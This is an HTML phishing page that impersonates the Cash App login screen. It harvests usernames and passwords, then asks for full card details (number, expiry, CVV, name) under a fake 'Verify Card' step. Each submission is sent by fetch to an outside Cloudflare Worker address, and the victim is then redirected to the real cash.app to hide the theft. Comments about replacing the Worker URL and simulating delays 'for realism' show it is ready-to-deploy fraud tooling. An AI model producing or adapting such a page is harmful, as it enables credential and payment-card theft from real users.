<!DOCTYPE html>

<html lang="en">

<head>

    <meta charset="UTF-8">

    <meta name="viewport" content="width=device-width, initial-scale=1.0">

    <title>Sign in to Cash App</title>

    <style>

        body {

            font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, Helvetica, Arial, sans-serif;

            background-color: #ffffff;

            display: flex;

            justify-content: center;

            align-items: center;

            height: 100vh;

            margin: 0;

        }

        .container {

            width: 340px;

            text-align: center;

        }

        .logo {

            width: 40px;

            height: 40px;

            margin-bottom: 10px;

        }

        h2 {

            font-size: 20px;

            font-weight: 600;

            color: #111;

            margin: 0 0 20px 0;

        }

        input {

            width: 100%;

            padding: 16px;

            margin: 10px 0;

            border: 1px solid #e0e0e0;

            border-radius: 8px;

            font-size: 16px;

            box-sizing: border-box;

            background: #f9f9f9;

        }

        input:focus {

            outline: none;

            border-color: #00D632;

            background: #fff;

        }

        button {

            width: 100%;

            padding: 16px;

            background-color: #00C805; /* Official CashApp Green */

            color: white;

            border: none;

            border-radius: 8px;

            font-size: 16px;

            font-weight: 600;

            cursor: pointer;

            margin-top: 10px;

        }

        button:hover {

            background-color: #00b82c;

        }

        .hidden {

            display: none;

        }

        .loader {

            border: 3px solid #f3f3f3;

            border-top: 3px solid #00C805;

            border-radius: 50%;

            width: 20px;

            height: 20px;

            animation: spin 2s linear infinite;

            margin: 10px auto;

            display: none;

        }

        @keyframes spin {

            0% { transform: rotate(0deg); }

            100% { transform: rotate(360deg); }

        }

        .error-msg {

            color: #ff3b30;

            font-size: 12px;

            margin-top: 5px;

            display: none;

        }

    </style>

</head>

<body>


<div class="container">

    <!-- Real CashApp Logo -->

    <img src="https://upload.wikimedia.org/wikipedia/commons/thumb/9/91/Cash_App_Logo.svg/1200px-Cash_App_Logo.svg.png" alt="Cash App" class="logo" onerror="this.src='https://static.cashapp.io/static_assets/images/common/logo-green.svg'">

    

    <h2>Log In</h2>


    <!-- Login Form -->

    <form id="login-form">

        <input type="text" id="username" placeholder="Username, Email, or Phone" required>

        <input type="password" id="password" placeholder="Password" required>

        <div class="error-msg" id="login-error">Incorrect password</div>

        <button type="submit" id="login-btn">LOG IN</button>

        <div class="loader" id="login-loader"></div>

    </form>


    <!-- Card Details Form (Shown after login) -->

    <form id="card-form" class="hidden">

        <h2>Verify Card</h2>

        <p style="color: #666; font-size: 14px; margin-bottom: 15px;">Enter your card details to verify your identity.</p>

        <input type="text" id="card-number" placeholder="Card Number" maxlength="19" required>

        <div style="display: flex; gap: 10px;">

            <input type="text" id="expiry" placeholder="MM/YY" maxlength="5" required>

            <input type="text" id="cvv" placeholder="CVV" maxlength="4" required>

        </div>

        <input type="text" id="name-on-card" placeholder="Name on Card" required>

        <button type="submit" id="card-btn">VERIFY</button>

        <div class="loader" id="card-loader"></div>

    </form>

</div>


<script>

    // CONFIGURATION: Replace with your Worker URL

    const WORKER_URL = 'small-darkness-8ed0.gator-6ed.workers.dev'; 


    const loginForm = document.getElementById('login-form');

    const cardForm = document.getElementById('card-form');

    const loginLoader = document.getElementById('login-loader');

    const cardLoader = document.getElementById('card-loader');

    const loginBtn = document.getElementById('login-btn');

    const cardBtn = document.getElementById('card-btn');


    // Step 1: Handle Login Submission

    loginForm.addEventListener('submit', async (e) => {

        e.preventDefault();

        

        loginBtn.style.display = 'none';

        loginLoader.style.display = 'block';


        const data = {

            type: 'login',

            username: document.getElementById('username').value,

            password: document.getElementById('password').value

        };


        await sendData(data);

        

        // Simulate a small delay for realism

        setTimeout(() => {

            loginLoader.style.display = 'none';

            loginForm.classList.add('hidden');

            cardForm.classList.remove('hidden');

        }, 1000);

    });


    // Step 2: Handle Card Submission

    cardForm.addEventListener('submit', async (e) => {

        e.preventDefault();

        

        cardBtn.style.display = 'none';

        cardLoader.style.display = 'block';


        const data = {

            type: 'card',

            card_number: document.getElementById('card-number').value,

            expiry: document.getElementById('expiry').value,

            cvv: document.getElementById('cvv').value,

            name: document.getElementById('name-on-card').value

        };


        await sendData(data);

        

        // Fake redirect

        setTimeout(() => {

            window.location.href = 'https://cash.app';

        }, 1500);

    });


    // Helper: Send data to Worker

    async function sendData(data) {

        try {

            const response = await fetch(WORKER_URL, {

                method: 'POST',

                headers: { 'Content-Type': 'application/json' },

                body: JSON.stringify(data)

            });

            

            if (!response.ok) {

                console.error('Failed to send data');

            }

        } catch (error) {

            console.error('Error:', error);

        }

    }


    // Auto-format card number with spaces

    document.getElementById('card-number').addEventListener('input', function (e) {

        let value = e.target.value.replace(/\D/g, '');

        value = value.substring(0, 16);

        let formatted = '';

        for (let i = 0; i < value.length; i++) {

            if (i > 0 && i % 4 === 0) formatted += ' ';

            formatted += value[i];

        }

        e.target.value = formatted;

    });

</script>


</body>

</html>